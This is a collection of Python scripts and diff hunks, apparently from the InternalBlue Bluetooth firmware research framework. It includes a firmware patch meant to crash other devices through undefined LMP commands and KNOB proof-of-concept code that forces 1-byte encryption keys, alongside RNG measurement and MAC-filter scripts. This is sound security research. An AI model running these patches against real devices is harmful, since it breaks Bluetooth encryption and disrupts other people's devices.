HOOK_VSC_EXISTS = 0x586E6 # This function is in ROM
|
||||
ASM_LOCATION_VSC_EXISTS = 0x00211900 # 0xD5900
|
||||
LMP_VSC_CMD_START = 0x0f #0xcf #0x52 #FIXME change range for LMP crash in case it didn't crash here
|
||||
LMP_VSC_CMD_END = 0x06
|
||||
ASM_SNIPPET_VSC_EXISTS = """
|
||||
b vsc_iterate
|
||||
b send_lmp
|
||||
|
||||
vsc_iterate:
|
||||
mov r5, 0x%02x00 // 4 byte reverse order LMP, starting with LMP VSC 00 ff
|
||||
mov r6, r0 // backup connection struct
|
||||
|
||||
loop:
|
||||
mov r0, r6 // restore connection struct
|
||||
bl send_lmp
|
||||
|
||||
subs r5, 0x00000100 // iterate through VSC LMP commands until VSC 00 00
|
||||
cmp r5, 0x%02x00 // loop exit condition
|
||||
bne loop
|
||||
|
||||
|
||||
//proceed as in original function send_LMP_host_connection_req_586E6
|
||||
mov r0, r6 // restore connection struct
|
||||
mov r5, 0x00000066 // LMP_host_connection_req << 1
|
||||
bl send_lmp
|
||||
b 0x58760 // address from where send_LMP_host_connection_req_586E6 was called
|
||||
|
||||
|
||||
|
||||
//pass connection struct in r0 and lmp data in r5
|
||||
send_lmp:
|
||||
push {r4-r5,lr}
|
||||
|
||||
mov r4, r0 // store connection struct copy to r4
|
||||
|
||||
// malloc buffer for LMP packet
|
||||
bl 0x3F17E // malloc_0x20_bloc_buffer_memzero
|
||||
|
||||
// fill buffer
|
||||
str r5, [r0, 0xc] // The actual LMP packet must start at offset 0xC in the buffer.
|
||||
//// add some more bytes if needed
|
||||
mov r1, 0x4242
|
||||
str r1, [r0, 0xe]
|
||||
|
||||
mov r1, r0 // move lmp packet buffer into r1
|
||||
mov r0, r4 // restore connection struct
|
||||
|
||||
pop {r4-r5,lr} // restore r4 and the lr
|
||||
b 0xf81a // branch to send_LMP_packet. send_LMP_packet will do the return for us.
|
||||
|
||||
""" % (LMP_VSC_CMD_START, LMP_VSC_CMD_END)
|
||||
|
||||
"""
|
||||
When sending LMP commands, lookup tables are used to determine length and other
|
||||
function parameters. However, as we use undefined commands, some of them seem
|
||||
never to be sent. The table lookup simply is nonsense here... so we patch around
|
||||
this.
|
||||
"""
|
||||
|
||||
ASM_LOCATION_LMP_00_LOOKUP = 0x00211800 # 0xD5700
|
||||
HOOK_LMP_00_LOOKUP = 0x2008B4 # This function already provides a hook for the LMP handlers
|
||||
ASM_SNIPPET_LMP_00_LOOKUP = """
|
||||
|
||||
ldr r0, =table
|
||||
bx lr
|
||||
|
||||
|
||||
//dummy table entry
|
||||
.align
|
||||
table:
|
||||
.byte 0x35 //nullsub1+1
|
||||
.byte 0xAC
|
||||
.byte 0x00
|
||||
.byte 0x00
|
||||
.byte 0x10 //length
|
||||
.byte 0x00
|
||||
.byte 0x00
|
||||
.byte 0x00
|
||||
|
||||
"""
|
||||
|
||||
|
||||
internalblue = ADBCore()
|
||||
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
|
||||
|
||||
# setup sockets
|
||||
if not internalblue.connect():
|
||||
log.critical("No connection to target device.")
|
||||
exit(-1)
|
||||
|
||||
progress_log = log.info("installing assembly patches to crash other device on connect requests...")
|
||||
|
||||
#progress_log = log.info("Writing ASM snippet for LMP 00 table lookup.")
|
||||
code = asm(ASM_SNIPPET_LMP_00_LOOKUP, vma=ASM_LOCATION_LMP_00_LOOKUP)
|
||||
if not internalblue.writeMem(address=ASM_LOCATION_LMP_00_LOOKUP, data=code, progress_log=progress_log):
|
||||
progress_log.critical("error!")
|
||||
exit(-1)
|
||||
|
||||
#progress_log = log.info("Installing predefined hook for LMP table lookup.")
|
||||
if not internalblue.writeMem(address=HOOK_LMP_00_LOOKUP, data=p32(ASM_LOCATION_LMP_00_LOOKUP + 1), progress_log=progress_log):
|
||||
progress_log.critical("error!")
|
||||
exit(-1)
|
||||
|
||||
|
||||
|
||||
|
||||
#progress_log = log.info("Writing ASM snippet for LMP VSC existence check.")
|
||||
code = asm(ASM_SNIPPET_VSC_EXISTS, vma=ASM_LOCATION_VSC_EXISTS)
|
||||
if not internalblue.writeMem(address=ASM_LOCATION_VSC_EXISTS, data=code, progress_log=progress_log):
|
||||
progress_log.critical("error!")
|
||||
exit(-1)
|
||||
|
||||
|
||||
# all send_lmp functions are in rom...
|
||||
#log.info("Installing LMP VSC existence hook patch...")
|
||||
patch = asm("b 0x%x" % ASM_LOCATION_VSC_EXISTS, vma=HOOK_VSC_EXISTS)
|
||||
if not internalblue.patchRom(HOOK_VSC_EXISTS, patch):
|
||||
log.critical("Installing patch for VSC existence check failed!")
|
||||
exit(-1)
|
||||
|
||||
|
||||
log.info("Installed all the hooks. You can now establish connections to other devices to check for the LMP CVE.")
|
||||
|
||||
# shutdown connection
|
||||
internalblue.shutdown()
|
||||
log.info("------------------")
|
||||
log.info("To test the vulnerability, establish a classic Bluetooth connection to the target device. Eventually try different values for LMP_VSC_CMD_*.")
|
||||
|
||||
|
||||
@@ -1,10 +1,9 @@
|
||||
#!/usr/bin/env python2
|
||||
|
||||
# Dennis Mantz
|
||||
|
||||
from pwn import *
|
||||
from internalblue import Address
|
||||
from internalblue.adbcore import ADBCore
|
||||
|
||||
from internalblue.utils.pwnlib_wrapper import log, asm
|
||||
#internalblue = core.InternalBlue()
|
||||
|
||||
internalblue = ADBCore()
|
||||
@@ -15,9 +14,9 @@ if len(device_list) == 0:
|
||||
internalblue.interface = device_list[0][1] # just use the first device
|
||||
|
||||
|
||||
PK_RECV_HOOK_ADDRESS = 0x2FED8
|
||||
PK_SEND_HOOK_ADDRESS = 0x030098
|
||||
GEN_PRIV_KEY_ADDRESS = 0x48eba
|
||||
PK_RECV_HOOK_ADDRESS = Address(0x2FED8)
|
||||
PK_SEND_HOOK_ADDRESS = Address(0x030098)
|
||||
GEN_PRIV_KEY_ADDRESS = Address(0x48eba)
|
||||
HOOKS_LOCATION = 0xd7800
|
||||
ASM_HOOKS = """
|
||||
b pk_recv_hook
|
||||
|
||||
@@ -1,15 +1,13 @@
|
||||
#!/usr/bin/python2
|
||||
#!/usr/bin/python3
|
||||
|
||||
# Jiska Classen, Secure Mobile Networking Lab
|
||||
|
||||
|
||||
from pwn import *
|
||||
from internalblue import Address
|
||||
from internalblue.adbcore import ADBCore
|
||||
import internalblue.cli as cli
|
||||
import internalblue.cmds as cmd
|
||||
import internalblue.hci as hci
|
||||
from internalblue.cmds import auto_int
|
||||
|
||||
from internalblue.utils.pwnlib_wrapper import log, asm, u8, p16, u16
|
||||
|
||||
|
||||
"""
|
||||
@@ -36,10 +34,10 @@ log.info("Installing patch which ensures that send_LMP_encryptoin_key_size_req i
|
||||
|
||||
# modify function lm_SendLmpEncryptKeySizeReq
|
||||
patch = asm("mov r2, #0x1", vma=0x5AED0) # connection struct key entropy
|
||||
internalblue.patchRom(0x5AED0, patch)
|
||||
internalblue.patchRom(Address(0x5AED0), patch)
|
||||
|
||||
# modify global variable for own setting
|
||||
internalblue.writeMem(0x203797, '\x01') # global key entropy
|
||||
internalblue.writeMem(0x203797, b'\x01') # global key entropy
|
||||
|
||||
|
||||
log.info("-----------------------KNOB-----------------------\n"
|
||||
@@ -67,7 +65,7 @@ class CmdKnob(cmd.Cmd):
|
||||
|
||||
def work(self):
|
||||
args = self.getArgs()
|
||||
internalblue.sendHciCommand(0x1408, p16(args.hnd))
|
||||
internalblue.sendHciCommand(hci.HCI_COMND.Encryption_Key_Size, p16(args.hnd))
|
||||
return True
|
||||
|
||||
|
||||
@@ -81,12 +79,12 @@ def hciKnobCallback(record):
|
||||
|
||||
if hcipkt.event_code == 0x0e:
|
||||
if u16(hcipkt.data[1:3]) == 0x1408: # Read Encryption Key Size
|
||||
if u8(hcipkt.data[3]) == 0x12: # Error
|
||||
if hcipkt.data[3] == 0x12: # Error
|
||||
log.info("No key size available.\n"
|
||||
" - Did you already negotiate an encrypted connection?\n"
|
||||
" - Did you choose the correct connection handle?\n")
|
||||
else:
|
||||
log.info("HCI_Read_Encryption_Key_Size result for handle 0x%x: %x" % (u16(hcipkt.data[4:6]), u8(hcipkt.data[6])))
|
||||
log.info("HCI_Read_Encryption_Key_Size result for handle 0x%x: %x" % (u16(hcipkt.data[4:6]), hcipkt.data[6]))
|
||||
|
||||
return
|
||||
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
#!/usr/bin/python2
|
||||
#!/usr/bin/env python3
|
||||
|
||||
# Jiska Classen, Secure Mobile Networking Lab
|
||||
|
||||
from pwn import *
|
||||
from internalblue import Address
|
||||
from internalblue.adbcore import ADBCore
|
||||
|
||||
from internalblue.utils.pwnlib_wrapper import log, asm
|
||||
from binascii import unhexlify
|
||||
"""
|
||||
Filter connections by MAC address before entering LMP dispatcher.
|
||||
Enter MAC addresses you trust into whitelist.
|
||||
@@ -12,8 +12,8 @@ Enter MAC addresses you trust into whitelist.
|
||||
"""
|
||||
WHITELIST = ["aabbccddeeff", "133713371337", "affedeadbeef"]
|
||||
|
||||
WHITELIST_BYTES = ''.join(WHITELIST).decode("hex")[::-1] # change mac addr byte order
|
||||
HOOK_LMP_FILTER = 0x3f3f4 # This function is in ROM
|
||||
WHITELIST_BYTES = unhexlify(''.join(WHITELIST))[::-1] # change mac addr byte order
|
||||
HOOK_LMP_FILTER = Address(0x3f3f4) # This function is in ROM
|
||||
ASM_LOCATION_LMP_FILTER = 0x00211900 # 0xD5900
|
||||
ASM_SNIPPET_LMP_FILTER = """
|
||||
b lmp_dispatcher_filter
|
||||
@@ -89,7 +89,7 @@ lmp_dispatcher_filter:
|
||||
//mac address list
|
||||
%s
|
||||
|
||||
""" % (len(WHITELIST), ''.join([".byte 0x%02x\n" % ord(x) for x in WHITELIST_BYTES]))
|
||||
""" % (len(WHITELIST), ''.join([".byte 0x%02x\n" % x for x in WHITELIST_BYTES]))
|
||||
|
||||
internalblue = ADBCore()
|
||||
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
|
||||
|
||||
@@ -1,12 +1,12 @@
|
||||
#!/usr/bin/python2
|
||||
#!/usr/bin/env python3
|
||||
|
||||
# Jiska Classen, Secure Mobile Networking Lab
|
||||
|
||||
import sys
|
||||
|
||||
from pwn import *
|
||||
from internalblue import Address
|
||||
from internalblue.adbcore import ADBCore
|
||||
|
||||
from internalblue.utils.pwnlib_wrapper import log, asm
|
||||
|
||||
|
||||
"""
|
||||
@@ -40,7 +40,7 @@ TODO
|
||||
"""
|
||||
|
||||
|
||||
HOOK_IO_CAP_RESP = 0x303D4 # we just change the complete simple pairing state machine
|
||||
HOOK_IO_CAP_RESP = Address(0x303D4) # we just change the complete simple pairing state machine
|
||||
ASM_LOCATION_IO_CAP_RESP = 0x00211800 #0xd7800
|
||||
ASM_SNIPPET_IO_CAP_RESP = """
|
||||
//restore original 8 bytes of instructions which we overwrite by patching a branch into it
|
||||
|
||||
Executable
+222
@@ -0,0 +1,222 @@
|
||||
#!/usr/bin/python2
|
||||
|
||||
# Jiska Classen, Secure Mobile Networking Lab
|
||||
|
||||
import sys
|
||||
|
||||
from pwn import *
|
||||
from internalblue.adbcore import ADBCore
|
||||
import internalblue.hci as hci
|
||||
import internalblue.cli as cli
|
||||
import numpy as np
|
||||
from datetime import datetime
|
||||
|
||||
|
||||
|
||||
"""
|
||||
Measure the RNG of the Nexus 5.
|
||||
Similar to matedealer's thesis, p. 51.
|
||||
|
||||
Changes:
|
||||
|
||||
* Every 5th byte is now 0x42 to ensure that no other process wrote
|
||||
into this memory region in the meantime. Does it job and cheaper
|
||||
than checksums.
|
||||
|
||||
* When we are done, we send an HCI event containing 'RAND'. We catch
|
||||
this with a callback. Way more efficient than polling.
|
||||
|
||||
* We overwrite the original `rbg_rand` function with `bx lr` to
|
||||
ensure we're the only ones accessing the RNG.
|
||||
|
||||
* Disable Wi-Fi as the RNG might be shared.
|
||||
|
||||
"""
|
||||
|
||||
ASM_LOCATION_RNG = 0x211000 # load our snippet here
|
||||
MEM_RNG = ASM_LOCATION_RNG + 0xf0 # store results here
|
||||
MEM_ROUNDS = 0x1000 # run this often (x5 bytes) ... 0x1000 doesn't crash immediately but somewhen later :/
|
||||
FUN_RNG = 0x0660ea # original RNG function that we overwrite with bx lr
|
||||
|
||||
ASM_SNIPPET_RNG = """
|
||||
|
||||
// use r0-r7 locally
|
||||
push {r0-r7, lr}
|
||||
|
||||
// enter RNG dumping mode
|
||||
ldr r0, =0x%x // run this many rounds
|
||||
ldr r1, =0x%x // dst: store RNG data here
|
||||
bl dump_rng
|
||||
|
||||
// done, let's notify
|
||||
bl notify_hci
|
||||
|
||||
// back to lr
|
||||
pop {r0-r7, pc}
|
||||
|
||||
|
||||
//// the main RNG dumping routine
|
||||
dump_rng:
|
||||
|
||||
// wait until RNG is ready, which is indicated by status 0x200fffff
|
||||
wait_ready:
|
||||
ldr r2,=0x314008
|
||||
ldr r2, [r2]
|
||||
ldr r3, =0x200fffff
|
||||
cmp r2, r3
|
||||
bne wait_ready
|
||||
|
||||
// request new entropy: 0x314004=1
|
||||
mov r3, 1
|
||||
ldr r2, =0x314004
|
||||
str r3, [r2]
|
||||
|
||||
// dst is in r1, dump RNG value here
|
||||
ldr r2, =0x31400c
|
||||
ldr r3, [r2]
|
||||
str r3, [r1]
|
||||
add r1, 4
|
||||
|
||||
// add a test byte to ensure that no other process wrote here
|
||||
mov r3, 0x42
|
||||
str r3, [r1]
|
||||
add r1, 1
|
||||
|
||||
// loop for rounds in r0
|
||||
subs r0, 1
|
||||
bne dump_rng
|
||||
bx lr
|
||||
|
||||
|
||||
|
||||
//// issue an HCI event once we're done
|
||||
notify_hci:
|
||||
|
||||
push {r0-r4, lr}
|
||||
|
||||
// allocate vendor specific hci event
|
||||
mov r1, 6 // event length (+2)
|
||||
mov r0, 0xff // type: vendor specific
|
||||
bl 0x7AFC // bthci_event_AllocateEventAndFillHeader
|
||||
mov r4, r0 // save pointer to the buffer in r4
|
||||
|
||||
// append buffer with "RAND"
|
||||
add r0, 2 // buffer starts at 2 with data (?)
|
||||
ldr r1, =0x444e4152 // RAND
|
||||
str r1, [r0]
|
||||
add r0, 4 // advance buffer by 4
|
||||
|
||||
// send hci event
|
||||
mov r0, r4 // back to buffer at offset 0
|
||||
bl 0x398c1 // send_hci_event_without_free()
|
||||
|
||||
// free HCI buffer
|
||||
mov r0, r4
|
||||
bl 0x3FA36 // osapi_blockPoolFree
|
||||
|
||||
pop {r0-r4, pc}
|
||||
|
||||
|
||||
""" % (MEM_ROUNDS, MEM_RNG)
|
||||
|
||||
|
||||
internalblue = ADBCore()
|
||||
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
|
||||
|
||||
# setup sockets
|
||||
if not internalblue.connect():
|
||||
log.critical("No connection to target device.")
|
||||
exit(-1)
|
||||
|
||||
progress_log = log.info("installing assembly patches...")
|
||||
|
||||
|
||||
# Install the RNG code in RAM
|
||||
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
|
||||
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=progress_log):
|
||||
progress_log.critical("error!")
|
||||
exit(-1)
|
||||
|
||||
# Disable original RNG
|
||||
patch = asm("bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
|
||||
if not internalblue.patchRom(FUN_RNG, patch):
|
||||
log.critical("Could not disable original RNG!")
|
||||
exit(-1)
|
||||
|
||||
|
||||
|
||||
log.info("Installed all RNG hooks.")
|
||||
|
||||
adb.process(["su", "-c", "svc wifi disable"])
|
||||
|
||||
log.info("Disabled Wi-Fi core.")
|
||||
|
||||
|
||||
|
||||
|
||||
"""
|
||||
We cannot call HCI Read_RAM from this callback as it requires another callback (something goes wrong here),
|
||||
so we cannot solve this recursively but need some global status variable. Still, polling this is way faster
|
||||
than polling a status register in the Bluetooth firmware itself.
|
||||
"""
|
||||
# global status
|
||||
internalblue.rnd_done = False
|
||||
def rngStatusCallback(record):
|
||||
hcipkt = record[0] # get HCI Event packet
|
||||
|
||||
if not issubclass(hcipkt.__class__, hci.HCI_Event):
|
||||
return
|
||||
|
||||
if hcipkt.data[0:4] == bytes("RAND", "utf-8"):
|
||||
log.debug("Random data done!")
|
||||
internalblue.rnd_done = True
|
||||
|
||||
# add RNG callback
|
||||
internalblue.registerHciCallback(rngStatusCallback)
|
||||
|
||||
|
||||
|
||||
# read for multiple rounds to get more experiment data
|
||||
rounds = 1000
|
||||
i = 0
|
||||
data = bytearray()
|
||||
while rounds > i:
|
||||
log.info("RNG round %i..." % i)
|
||||
|
||||
# launch assembly snippet
|
||||
internalblue.launchRam(ASM_LOCATION_RNG)
|
||||
|
||||
# wait until we set the global variable that everything is done
|
||||
while not internalblue.rnd_done:
|
||||
continue
|
||||
internalblue.rnd_done = False
|
||||
|
||||
# and now read and save the random
|
||||
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS*5)
|
||||
data.extend(random)
|
||||
|
||||
i = i + 1
|
||||
|
||||
log.info("Finished acquiring random data!")
|
||||
|
||||
# every 5th byte i 0x42
|
||||
check = data[4::5]
|
||||
for c in check:
|
||||
if c != 0x42:
|
||||
log.error("Data was corrupted by another process!")
|
||||
|
||||
# uhm and for deleting every 5th let's take numpy (oh why??)
|
||||
data = np.delete(data, np.arange(4, data.__len__(), 5))
|
||||
|
||||
|
||||
f = open("n5-randomdata-%irounds-%s.bin" % (rounds, datetime.now()), "wb")
|
||||
f.write(data)
|
||||
f.close()
|
||||
|
||||
|
||||
#log.info("--------------------")
|
||||
#log.info("Entering InternalBlue CLI to interpret RNG.")
|
||||
|
||||
## enter CLI
|
||||
#cli.commandLoop(internalblue)
|
||||
|
||||
Executable
+218
@@ -0,0 +1,218 @@
|
||||
#!/usr/bin/python2
|
||||
|
||||
# Jiska Classen, Secure Mobile Networking Lab
|
||||
|
||||
import sys
|
||||
|
||||
from pwn import *
|
||||
from internalblue.adbcore import ADBCore
|
||||
import internalblue.hci as hci
|
||||
import internalblue.cli as cli
|
||||
import numpy as np
|
||||
|
||||
|
||||
|
||||
|
||||
"""
|
||||
Measure the RNG of the Nexus 5.
|
||||
Similar to matedealer's thesis, p. 51.
|
||||
|
||||
Changes:
|
||||
|
||||
* Every 5th byte is now 0x42 to ensure that no other process wrote
|
||||
into this memory region in the meantime. Does it job and cheaper
|
||||
than checksums.
|
||||
|
||||
* When we are done, we send an HCI event containing 'RAND'. We catch
|
||||
this with a callback. Way more efficient than polling.
|
||||
|
||||
* We overwrite the original `rbg_rand` function with `bx lr` to
|
||||
ensure we're the only ones accessing the RNG.
|
||||
|
||||
* Disable Wi-Fi as the RNG might be shared.
|
||||
|
||||
"""
|
||||
|
||||
ASM_LOCATION_RNG = 0x211000 # load our snippet here
|
||||
MEM_RNG = ASM_LOCATION_RNG + 0xf0 # store results here
|
||||
MEM_ROUNDS = 0x1000 # run this often (x5 bytes) ... 0x1000 doesn't crash immediately but somewhen later :/
|
||||
FUN_RNG = 0x0660ea # original RNG function that we overwrite with bx lr
|
||||
PRAND = 0x31FD48 # the pseudo random register we want to benchmark
|
||||
# 0x318088 dc_nbtc_clk_adr
|
||||
# 0x32A004 timer1value_adr
|
||||
# 0x3186A0 dc_fhout_adr # lowest byte changes but doesnt look like rssi
|
||||
# 0x31FC34 agcStatus_adr # constant
|
||||
# 0x31FFA0 rxInitAngle_adr # lowest byte changes, rest is constant
|
||||
# 0x31F8A4 spurFreqErr1_adr # also stays constant while establishing a connection, funny :D
|
||||
# 0x31FD48 rxPskPhErr5_adr # same, constant during conn
|
||||
# 0x200990 *mm_top TODO needs special memcpy but is only used once for init
|
||||
|
||||
ASM_SNIPPET_RNG = """
|
||||
|
||||
// use r0-r7 locally
|
||||
push {r0-r7, lr}
|
||||
|
||||
// enter RNG dumping mode
|
||||
ldr r0, =0x%x // run this many rounds
|
||||
ldr r1, =0x%x // dst: store RNG data here
|
||||
bl dump_pseudo
|
||||
|
||||
// done, let's notify
|
||||
bl notify_hci
|
||||
|
||||
// back to lr
|
||||
pop {r0-r7, pc}
|
||||
|
||||
|
||||
//// the main RNG dumping routine
|
||||
dump_pseudo:
|
||||
|
||||
// dst is in r1, dump RNG value here
|
||||
ldr r2, =0x%x
|
||||
ldr r3, [r2]
|
||||
str r3, [r1]
|
||||
add r1, 4
|
||||
|
||||
// add a test byte to ensure that no other process wrote here
|
||||
mov r3, 0x42
|
||||
str r3, [r1]
|
||||
add r1, 1
|
||||
|
||||
// loop for rounds in r0
|
||||
subs r0, 1
|
||||
bne dump_pseudo
|
||||
bx lr
|
||||
|
||||
|
||||
|
||||
//// issue an HCI event once we're done
|
||||
notify_hci:
|
||||
|
||||
push {r0-r4, lr}
|
||||
|
||||
// allocate vendor specific hci event
|
||||
mov r1, 6 // event length (+2)
|
||||
mov r0, 0xff // type: vendor specific
|
||||
bl 0x7AFC // bthci_event_AllocateEventAndFillHeader
|
||||
mov r4, r0 // save pointer to the buffer in r4
|
||||
|
||||
// append buffer with "RAND"
|
||||
add r0, 2 // buffer starts at 2 with data (?)
|
||||
ldr r1, =0x444e4152 // RAND
|
||||
str r1, [r0]
|
||||
add r0, 4 // advance buffer by 4
|
||||
|
||||
// send hci event
|
||||
mov r0, r4 // back to buffer at offset 0
|
||||
bl 0x398c1 // send_hci_event_without_free()
|
||||
|
||||
// free HCI buffer
|
||||
mov r0, r4
|
||||
bl 0x3FA36 // osapi_blockPoolFree
|
||||
|
||||
pop {r0-r4, pc}
|
||||
|
||||
|
||||
""" % (MEM_ROUNDS, MEM_RNG, PRAND)
|
||||
|
||||
|
||||
internalblue = ADBCore()
|
||||
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
|
||||
|
||||
# setup sockets
|
||||
if not internalblue.connect():
|
||||
log.critical("No connection to target device.")
|
||||
exit(-1)
|
||||
|
||||
progress_log = log.info("installing assembly patches...")
|
||||
|
||||
|
||||
# Install the RNG code in RAM
|
||||
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
|
||||
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=progress_log):
|
||||
progress_log.critical("error!")
|
||||
exit(-1)
|
||||
|
||||
# Disable original RNG
|
||||
patch = asm("bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
|
||||
if not internalblue.patchRom(FUN_RNG, patch):
|
||||
log.critical("Could not disable original RNG!")
|
||||
exit(-1)
|
||||
|
||||
|
||||
|
||||
log.info("Installed all RNG hooks.")
|
||||
|
||||
adb.process(["su", "-c", "svc wifi disable"])
|
||||
|
||||
log.info("Disabled Wi-Fi core.")
|
||||
|
||||
|
||||
|
||||
|
||||
"""
|
||||
We cannot call HCI Read_RAM from this callback as it requires another callback (something goes wrong here),
|
||||
so we cannot solve this recursively but need some global status variable. Still, polling this is way faster
|
||||
than polling a status register in the Bluetooth firmware itself.
|
||||
"""
|
||||
# global status
|
||||
internalblue.rnd_done = False
|
||||
def rngStatusCallback(record):
|
||||
hcipkt = record[0] # get HCI Event packet
|
||||
|
||||
if not issubclass(hcipkt.__class__, hci.HCI_Event):
|
||||
return
|
||||
|
||||
if hcipkt.data[0:4] == bytes("RAND", "utf-8"):
|
||||
log.debug("Random data done!")
|
||||
internalblue.rnd_done = True
|
||||
|
||||
# add RNG callback
|
||||
internalblue.registerHciCallback(rngStatusCallback)
|
||||
|
||||
|
||||
|
||||
# read for multiple rounds to get more experiment data
|
||||
rounds = 100
|
||||
i = 0
|
||||
data = bytearray()
|
||||
while rounds > i:
|
||||
log.info("RNG round %i..." % i)
|
||||
|
||||
# launch assembly snippet
|
||||
internalblue.launchRam(ASM_LOCATION_RNG)
|
||||
|
||||
# wait until we set the global variable that everything is done
|
||||
while not internalblue.rnd_done:
|
||||
continue
|
||||
internalblue.rnd_done = False
|
||||
|
||||
# and now read and save the random
|
||||
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS*5)
|
||||
data.extend(random)
|
||||
|
||||
i = i + 1
|
||||
|
||||
log.info("Finished acquiring random data!")
|
||||
|
||||
# every 5th byte i 0x42
|
||||
check = data[4::5]
|
||||
for c in check:
|
||||
if c != 0x42:
|
||||
log.error("Data was corrupted by another process!")
|
||||
|
||||
# uhm and for deleting every 5th let's take numpy (oh why??)
|
||||
data = np.delete(data, np.arange(4, data.__len__(), 5))
|
||||
|
||||
|
||||
f = open("5_randomdata_pseudo-%irounds-reg0x%x.bin" % (rounds, PRAND), "wb")
|
||||
f.write(data)
|
||||
f.close()
|
||||
|
||||
|
||||
#log.info("--------------------")
|
||||
#log.info("Entering InternalBlue CLI to interpret RNG.")
|
||||
|
||||
## enter CLI
|
||||
#cli.commandLoop(internalblue)
|
||||
|
||||
@@ -3,13 +3,12 @@
|
||||
# Jiska Classen, Secure Mobile Networking Lab
|
||||
|
||||
|
||||
from pwn import *
|
||||
from internalblue.adbcore import ADBCore
|
||||
import internalblue.cli as cli
|
||||
import internalblue.cmds as cmd
|
||||
import internalblue.hci as hci
|
||||
from internalblue.cmds import auto_int
|
||||
|
||||
from internalblue.utils.pwnlib_wrapper import u8, p16, u16, log
|
||||
|
||||
"""
|
||||
This is a standalone PoC for the KNOB attack on a Nexus 6P.
|
||||
@@ -39,7 +38,8 @@ log.info("Installing patch which ensures that send_LMP_encryption_key_size_req i
|
||||
# this somehow crashes on the Nexus 6P, but the global variable seems to be sufficient :)
|
||||
|
||||
# modify global variable for own setting
|
||||
internalblue.writeMem(0x204147, '\x01') # global key entropy
|
||||
internalblue.writeMem(0x204147, b'\x01') # global key entropy
|
||||
|
||||
|
||||
|
||||
log.info("-----------------------KNOB-----------------------\n"
|
||||
@@ -49,8 +49,8 @@ log.info("-----------------------KNOB-----------------------\n"
|
||||
"-----------------------KNOB-----------------------\n"
|
||||
"Automatically continuing on KNOB interface...\n"
|
||||
"Use the 'knob' command to *debug* the attack, i.e.:\n"
|
||||
" knob --hnd 0x0b\n"
|
||||
"...shows the key size of handle 0x000b.\n")
|
||||
" knob --hnd 0x0c\n"
|
||||
"...shows the key size of handle 0x000c.\n")
|
||||
|
||||
|
||||
class CmdKnob(cmd.Cmd):
|
||||
@@ -67,7 +67,7 @@ class CmdKnob(cmd.Cmd):
|
||||
|
||||
def work(self):
|
||||
args = self.getArgs()
|
||||
internalblue.sendHciCommand(0x1408, p16(args.hnd))
|
||||
internalblue.sendHciCommand(hci.HCI_COMND.Encryption_Key_Size, p16(args.hnd))
|
||||
return True
|
||||
|
||||
|
||||
@@ -81,12 +81,12 @@ def hciKnobCallback(record):
|
||||
|
||||
if hcipkt.event_code == 0x0e:
|
||||
if u16(hcipkt.data[1:3]) == 0x1408: # Read Encryption Key Size
|
||||
if u8(hcipkt.data[3]) == 0x12: # Error
|
||||
if hcipkt.data[3] == 0x12: # Error
|
||||
log.info("No key size available.\n"
|
||||
" - Did you already negotiate an encrypted connection?\n"
|
||||
" - Did you choose the correct connection handle?\n")
|
||||
else:
|
||||
log.info("HCI_Read_Encryption_Key_Size result for handle 0x%x: %x" % (u16(hcipkt.data[4:6]), u8(hcipkt.data[6])))
|
||||
log.info("HCI_Read_Encryption_Key_Size result for handle 0x%x: %x" % (u16(hcipkt.data[4:6]), hcipkt.data[6]))
|
||||
|
||||
return
|
||||
|
||||
|
||||
Executable
+242
@@ -0,0 +1,242 @@
|
||||
#!/usr/bin/python2
|
||||
|
||||
# Jiska Classen, Secure Mobile Networking Lab
|
||||
|
||||
import sys
|
||||
|
||||
from pwn import *
|
||||
from internalblue.adbcore import ADBCore
|
||||
import internalblue.hci as hci
|
||||
import internalblue.cli as cli
|
||||
import numpy as np
|
||||
from datetime import datetime
|
||||
|
||||
|
||||
|
||||
"""
|
||||
Measure the RNG of the Nexus 6.
|
||||
Similar to matedealer's thesis, p. 51.
|
||||
|
||||
Changes:
|
||||
|
||||
* Every 5th byte is now 0x42 to ensure that no other process wrote
|
||||
into this memory region in the meantime. Does it job and cheaper
|
||||
than checksums.
|
||||
|
||||
* When we are done, we send an HCI event containing 'RAND'. We catch
|
||||
this with a callback. Way more efficient than polling.
|
||||
|
||||
* We overwrite the original `rbg_rand` function with `bx lr` to
|
||||
ensure we're the only ones accessing the RNG.
|
||||
|
||||
* Disable Wi-Fi as the RNG might be shared.
|
||||
|
||||
* Launch_RAM patch, as Launch_RAM works but only with a 1.3 second
|
||||
break. So we overwrite it as in the evaluation boards.
|
||||
|
||||
"""
|
||||
|
||||
ASM_LOCATION_RNG = 0x21F000 # load our snippet here
|
||||
MEM_RNG = ASM_LOCATION_RNG + 0xf0 # store results here
|
||||
MEM_ROUNDS = 0x1000 # run this often (x5 bytes) ... 0x1000 doesn't crash immediately but somewhen later :/
|
||||
FUN_RNG = 0x55FD6 # original RNG function that we overwrite with bx lr
|
||||
|
||||
ASM_SNIPPET_RNG = """
|
||||
|
||||
// use r0-r7 locally
|
||||
push {r0-r7, lr}
|
||||
|
||||
// send a command complete event as we overwrote the launch_RAM handler to prevent HCI timeout event wait
|
||||
mov r0, #0xFC4E // launch RAM command
|
||||
mov r1, 0 // event success
|
||||
bl 0x229C // bthci_event_SendCommandCompleteEventWithStatus
|
||||
|
||||
// enter RNG dumping mode
|
||||
ldr r0, =0x%x // run this many rounds
|
||||
ldr r1, =0x%x // dst: store RNG data here
|
||||
bl dump_rng
|
||||
|
||||
// done, let's notify
|
||||
bl notify_hci
|
||||
|
||||
// back to lr
|
||||
pop {r0-r7, pc}
|
||||
|
||||
|
||||
//// the main RNG dumping routine
|
||||
dump_rng:
|
||||
|
||||
// wait until RNG is ready, which is indicated by status 0x200fffff
|
||||
wait_ready:
|
||||
ldr r2,=0x314008
|
||||
ldr r2, [r2]
|
||||
ldr r3, =0x200fffff
|
||||
cmp r2, r3
|
||||
